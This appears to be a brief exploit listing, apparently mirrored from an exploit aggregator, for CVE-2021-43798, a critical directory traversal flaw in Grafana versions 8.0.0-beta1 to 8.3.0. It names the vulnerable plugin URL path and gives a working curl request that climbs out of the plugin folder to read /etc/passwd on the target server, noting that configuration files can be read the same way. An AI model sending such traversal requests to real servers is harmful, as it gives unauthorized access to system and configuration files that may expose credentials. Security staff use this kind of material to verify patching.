Exploit for CVE-2021-43798

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHOXAKE17-CVE-2021-43798
# CVE-2021-43798 by Privacy Hunter

Affected versions: Grafana 8.0.0-beta1 to 8.3.0 (patched versions excluded)

Vulnerability type: Directory Traversal

Severity: Critical

Platform: Grafana (open-source monitoring and observability platform)

⚠️ Vulnerability details

Directory traversal can be performed in Grafana via the following URL:

Code http://<grafana_host>/public/plugins// This allows an attacker to read local files on the server. For example, unauthorized access to /etc/passwd or configuration files.

🔥 Exploitation example

Reading a file with a simple request:

bash curl http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd The above request can retrieve the list of users on a Linux system.